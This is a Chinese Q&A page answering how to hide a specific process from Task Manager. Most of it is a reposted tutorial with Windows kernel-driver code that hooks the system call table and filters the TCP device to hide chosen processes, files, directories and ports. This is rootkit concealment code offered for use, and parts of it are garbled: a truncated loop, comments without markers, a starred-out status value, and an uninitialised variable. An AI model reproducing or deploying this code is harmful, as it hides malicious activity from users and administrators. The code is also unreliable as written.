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请问如何隐藏指定的进程?
时间:2024-12-23 18:41:01
答案

分类: 电脑/网络 >> 操作系统/系统故障

问题描述:

不要隐藏所有进程,比如只隐藏BT的进程,让别人在任务管理器里也查看不到,如何做?如何在隐藏之后让它再显示出来?

本人菜鸟,请高手写清楚点,谢谢

解析:

超级免子 可以隐藏进程.

具体自己弄了...

也可以参照下面的教程..

隐藏任意进程,目录/文件,注册表,端口

Author: sinister

Email: sinister@whitecell

Homepage_blank>whitecell

查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation,

ZwXXXValueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上函数,并修改系统维护的一个

SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见,所以要写 DRIVE 在 RING 0 下

才可修改。关于如何修改已有文章详细介绍过,这里不在详述。(可以参见 sysinternals 或 WebCrazy 所

写的文章)。查找端口用的是 TDI 查询。TDI 导出了两个设备 \\Device\\Tcp 与 \\Device\\Udp。我们可以利

用设备过滤驱动的方法写一个 DRIVE 把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动。以达到

隐藏任意端口的目的。上述提到的方法不是新东西,是在N年前就已经有的老技术。俺现在将它贴出来只不过为了

充实下版面,灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程,目录/文件,端口代码片段。

(注册表操作在 RegMon 中写的很详细,这里就不列出了)

typedef struct _FILETIME

{

DWORD dwLowDateTime;

DWORD dwHighDateTime;

} FILETIME;

typedef struct _DirEntry

{

DWORD dwLenToNext;

DWORD dwAttr;

FILETIME ftCreate, ftLastAccess, ftLastWrite;

DWORD dwUnknown[ 2 ];

DWORD dwFileSizeLow;

DWORD dwFileSizeHigh;

DWORD dwUnknown2[ 3 ];

WORD wNameLen;

WORD wUnknown;

DWORD dwUnknown3;

WORD wShortNameLen;

WCHAR swShortName[ 12 ];

WCHAR suName[ 1 ];

} DirEntry, *PDirEntry;

struct _SYSTEM_THREADS

{

LARGE_INTEGER KernelTime;

LARGE_INTEGER UserTime;

LARGE_INTEGER CreateTime;

ULONG WaitTime;

PVOID StartAddress;

CLIENT_ID ClientIs;

KPRIORITY Priority;

KPRIORITY BasePriority;

ULONG ContextSwitchCount;

ULONG ThreadState;

KWAIT_REASON WaitReason;

};

struct _SYSTEM_PROCESSES

{

ULONG NextEntryDelta;

ULONG ThreadCount;

ULONG Reserved[6];

LARGE_INTEGER CreateTime;

LARGE_INTEGER UserTime;

LARGE_INTEGER KernelTime;

UNICODE_STRING ProcessName;

KPRIORITY BasePriority;

ULONG ProcessId;

ULONG InheritedFromProcessId;

ULONG HandleCount;

ULONG Reserved2[2];

VM_COUNTERS VmCounters;

IO_COUNTERS IoCounters;

struct _SYSTEM_THREADS Threads[1];

};

隐藏目录/文件

NTSTATUS HookZwQueryDirectoryFile(

IN HANDLE hFile,

IN HANDLE hEvent OPTIONAL,

IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,

IN PVOID IoApcContext OPTIONAL,

OUT PIO_STATUS_BLOCK pIoStatusBlock,

OUT PVOID FileInformationBuffer,

IN ULONG FileInformationBufferLength,

IN FILE_INFORMATION_CLASS FileInfoClass,

IN BOOLEAN bReturnOnlyOneEntry,

IN PUNICODE_STRING PathMask OPTIONAL,

IN BOOLEAN bRestartQuery)

{

NTSTATUS rc;

CHAR aProcessName[80];

ANSI_STRING ansiFileName,ansiDirName;

UNICODE_STRING uniFileName;

PP_DIR ptr;

WCHAR ParentDirectory[1024] = {0};

int BytesReturned;

PVOID Object;

执行旧的ZwQueryDirectoryFile函数

rc = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(

hFile,

hEvent,

IoApcRoutine,

IoApcContext,

pIoStatusBlock,

FileInformationBuffer,

FileInformationBufferLength,

FileInfoClass,

bReturnOnlyOneEntry,

PathMask,

bRestartQuery);

if(NT_SUCCESS(rc))

{

PDirEntry p;

PDirEntry pLast;

BOOL bLastOne;

int found;

p = (PDirEntry)FileInformationBuffer; 将查找出来结果赋给结构

pLast = NULL;

do

{

bLastOne = !( p->dwLenToNext );

RtlInitUnicodeString(&uniFileName,p->suName);

RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);

RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);

RtlUpperString(&ansiFileName,&ansiDirName);

found=0;

在链表中查找是否包含当前目录

for(ptr = list_head; ptr != NULL; ptr = ptr->next)

{

if (ptr->flag != PTR_HIDEDIR) continue;

if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) ) == strlen(ptr->name))

{

found=1;

break;

}

}end for

如果链表中包含当前目录,隐藏

if(found)

{

if(bLastOne)

{

if(p == (PDirEntry)FileInformationBuffer )

{

rc = 0x***********; 隐藏

}

else

pLast->dwLenToNext = 0;

break;

}

else

{

int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;

int iLeft = (DWORD)FileInformationBufferLength - iPos - p->dwLenToNext;

RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ), (DWORD)iLeft );

continue;

}

}

pLast = p;

p = (PDirEntry)((char *)p + p->dwLenToNext );

}while( !bLastOne );

RtlFreeAnsiString(&ansiDirName);

RtlFreeAnsiString(&ansiFileName);

}

return(rc);

}

隐藏进程

NTSTATUS HookZwQuerySystemInformation(

IN ULONG SystemInformationClass,

IN PVOID SystemInformation,

IN ULONG SystemInformationLength,

OUT PULONG ReturnLength)

{

NTSTATUS rc;

ANSI_STRING process_name,process_uname,process_name1,process_name2;

BOOL g_hide_proc = TRUE;

CHAR aProcessName[80];

PP_DIR ptr;

int found;

执行旧的ZwQuerySystemInformation函数

rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (

SystemInformationClass,

SystemInformation,

SystemInformationLength,

ReturnLength );

if(NT_SUCCESS(rc ))

{

if( g_hide_proc && (5 == SystemInformationClass))

{

将查找出来结果赋给结构

struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

struct _SYSTEM_PROCESSES *prev = NULL;

遍历进程

while(curr)

{

if((0 < process_name.Length) && (255 > process_name.Length))

{

found=0;

遍历链表

for (ptr=list_head;ptr!=NULL;ptr=ptr->next )

{

if (ptr->flag != PTR_HIDEPROC) continue ;

if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)

{

found =1;

}

}

判断如果是隐藏进程名则覆盖掉此进程名

while(found)

{

if(prev)

{

if(curr->NextEntryDelta)

{

prev->NextEntryDelta += curr->NextEntryDelta;

}

else

{

prev->NextEntryDelta = 0;

}

}

else

{

if(curr->NextEntryDelta)

{

(char *)SystemInformation += curr->NextEntryDelta;

}

else

{

SystemInformation = NULL;

}

}

if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);

else

{

curr = NULL;break;

}

遍历链表

found = 0;

for (ptr=list_head;ptr!=NULL;ptr=ptr->next )

{

if (ptr->flag != PTR_HIDEPROC) continue ;

if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)

{

found = 1;

}

}

}

}

if(curr != NULL)

{

prev = curr;

if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);

else curr = NULL;

}

}

}

}

return(rc);

}

隐藏端口

PDEVICE_OBJECT m_TcpgetDevice;

PDEVICE_OBJECT TcpDevice;

UNICODE_STRING TcpDeviceName;

PDRIVER_OBJECT TcpDriver;

PDEVICE_OBJECT TcpgetDevice;

PDEVICE_OBJECT FilterDevice

PDRIVER_DISPATCH Empty;

NTSTATUS status;

Empty = DriverObject->MajorFunction[IRP_MJ_CREATE];

RtlInitUnicodeString( &TcpDeviceName, L"\\Device\\Tcp");

得到已有的设备指针

status = IoGetDeviceObjectPointer( &TcpDeviceName,

FILE_ALL_ACCESS,

&FileObject,

&TcpDevice

);

if(!NT_SUCCESS(status))

{

DbgPrint("IoGetDeviceObjectPointer error!\n");

return status;

}

DbgPrint("IoGetDeviceObjectPointer ok!\n");

建立设备

status = IoCreateDevice( DriverObject,

sizeof(DEVICE_EXTENSION),

NULL,

FILE_DEVICE_UNKNOWN,

0,

FALSE,

&FilterDevice

);

if(!NT_SUCCESS(status))

{

return status;

}

加入设备

TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice);

if(!TcpgetDevice)

{

IoDeleteDevice(FilterDevice);

DbgPrint("IoAttachDeviceToDeviceStack error!\n");

return STATUS_SUCCESS;

}

m_TcpgetDevice = TcpgetDevice;

加到过滤函数中处理

for(i=0;i{

if((TcpDriver->MajorFunction[i]!=Empty)&&(DriverObject->MajorFunction[i]==Empty))

{

DriverObject->MajorFunction[i] = PassThrough;

}

}

ObDereferenceObject(FileObject);

NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )

{

NTSTATUS status;

PIO_STACK_LOCATION pIrpStack;

pIrpStack = IoGetCurrentIrpStackLocation( Irp );

如是查询则完成 IRP

if ( pIrpStack->Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX)

{

这里可以近一步判断某个端口

Irp->IoStatus.Status=STATUS_SUCCESS;

IoCompleteRequest(Irp,IO_NO_INCREMENT);

return STATUS_SUCCESS;

}

复制当前 IRP

IoCopyCurrentIrpStackLocationToNext(Irp);

IoSetCompletionRoutine( Irp,

GenericCompletion,

NULL,

TRUE,

TRUE,

TRUE

);

传递

return IoCallDriver( m_TcpgetDevice, Irp);

}

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